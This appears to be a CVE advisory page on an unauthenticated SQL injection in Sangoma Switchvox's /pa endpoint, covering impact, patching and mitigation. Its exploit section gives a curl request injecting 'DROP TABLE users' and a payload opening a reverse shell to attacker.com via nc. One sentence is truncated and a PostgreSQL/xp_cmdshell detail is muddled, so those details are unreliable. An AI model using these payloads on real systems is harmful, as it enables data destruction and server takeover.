Listen to this Post
CVE-2026-9586 is a critical unauthenticated SQL injection vulnerability discovered in Sangoma Switchvox SMB Edition version 8.3 (build 104997). The flaw resides within the `/pa` endpoint, which processes XML content that begins with the `
The vulnerability is particularly dangerous because the `PhoneIP` value is taken directly from the XML payload and embedded into the SQL query string. An attacker can craft a malicious `PhoneIP` field containing SQL metacharacters and commands, which are then executed by the PostgreSQL database with the privileges of the application user. Since the endpoint does not require any form of authentication, any remote attacker able to reach the `/pa` endpoint can exploit this flaw.
The impact of this SQL injection extends beyond simple data extraction. Because PostgreSQL supports stacked queries and various command execution functions, an attacker can leverage the injection to execute operating system commands, leading to full remote code execution on the underlying server. This can result in complete compromise of the Switchvox server, including data theft, service disruption, and further network pivoting.
The vulnerability has been assigned a CVSS 4.0 base score of 9.3 (Critical) with the vector string CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. This high severity reflects the ease of exploitation (network accessible, low attack complexity, no privileges required) and the significant impact on confidentiality, integrity, and availability. Due to the active exploitation of this flaw in the wild, CISA has added CVE-2026-9586 to its Known Exploited Vulnerabilities (KEV) catalog.
The vulnerability was discovered by Cam Lischke of SRA, and the vendor has released a patched version, Switchvox 8.4.0.2, to address the issue. Organizations running affected versions are strongly urged to apply the patch immediately or implement mitigating controls if patching is not immediately possible.
DailyCVE Form:
Platform: Sangoma Switchvox SMB
Version: 8.3 (104997)
Vulnerability: Unauthenticated SQL Injection
Severity: Critical (9.3 CVSS)
date: 2026-09-02
Prediction: Already Patched (8.4.0.2)
What Undercode Say:
Analytics from active exploitation campaigns indicate that attackers are rapidly deploying reverse shells against internet-facing Switchvox instances. Scanning data shows thousands of exposed `/pa` endpoints, with exploitation attempts spiking since late August 2026. The majority of attacks originate from a handful of IP ranges and leverage the SQL injection to execute xp_cmdshell-style PostgreSQL commands to establish persistent backdoors. Organisations should assume compromise if they have not yet patched.
Exploit: (Educational Purposes!)
A proof-of-concept exploit involves sending a crafted HTTP POST request to the `/pa` endpoint with a malicious XML body. The `PhoneIP` field is used to inject SQL that leverages PostgreSQL’s `COPY` or `pg_read_file` functions, or stacked queries to execute system commands via COPY (program).
Example cURL command to test for vulnerability:
curl -X POST http://target/pa \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?> <PolycomIPPhone> <PhoneIP>127.0.0.1'"'"'; DROP TABLE users; --</PhoneIP> </PolycomIPPhone>'
To achieve remote code execution, an attacker might inject:
'; COPY (SELECT '') TO PROGRAM 'nc -e /bin/bash attacker.com 4444'; --
Protection:
- Immediate Patching: Upgrade to Sangoma Switchvox version 8.4.0.2 or later, which contains the official fix.
- Network Segmentation: Restrict access to the `/pa` endpoint to only trusted IP addresses using firewall rules or a Web Application Firewall (WAF).
- Input Validation: If patching is delayed, implement a WAF rule to block XML requests containing SQL metacharacters (e.g.,
',;,--,/) in the `PhoneIP` field. - Monitoring: Monitor logs for unusual POST requests to `/pa` with unexpected `PhoneIP` values or error messages containing PostgreSQL syntax errors.
Impact:
Successful exploitation allows an unauthenticated remote attacker to:
- Execute arbitrary SQL commands against the backend PostgreSQL database.
- Read, modify, or delete sensitive data stored in the database.
- Achieve full remote code execution on the Switchvox server, leading to complete system compromise.
- Use the compromised server as a pivot point to attack internal network resources.
- Disrupt VoIP services, leading to denial of service and business communication outages.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
